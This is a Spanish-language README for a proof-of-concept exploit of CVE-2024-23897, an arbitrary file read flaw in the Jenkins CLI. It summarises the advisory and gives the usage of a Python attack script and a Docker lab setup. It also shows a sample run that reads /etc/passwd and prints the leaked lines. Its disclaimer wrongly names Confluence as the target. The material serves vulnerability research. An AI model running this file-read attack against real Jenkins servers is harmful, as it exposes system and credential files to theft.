
Este repositorio presenta una prueba de concepto de CVE-2024-23897
Este repositorio presenta una prueba de concepto de CVE-2024-23897 (Descubierto por sonarsource)
Este código es una prueba de concepto de la vulnerabilidad; no estoy animando a nadie a usarlo en instancias de confluence que no posean.
Esta herramienta ha sido desarrollada únicamente con fines de investigación y educativos, y no seré responsable de cualquier uso que puedas hacer de ella.
Según el Aviso de seguridad de Jenkins 2024-01-24:
Jenkins utiliza la biblioteca args4j para analizar argumentos y opciones de comando en el controlador de Jenkins al procesar comandos CLI. Este analizador de comandos tiene una característica que reemplaza un carácter @ seguido de una ruta de archivo en un argumento con el contenido del archivo (expandAtFiles). Esta característica está habilitada por defecto y Jenkins 2.441 y anteriores, LTS 2.426.2 y anteriores, no la deshabilitan. Esto permite a los atacantes leer archivos arbitrarios en el sistema de archivos del controlador de Jenkins utilizando la codificación de caracteres por defecto del proceso del controlador de Jenkins.
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)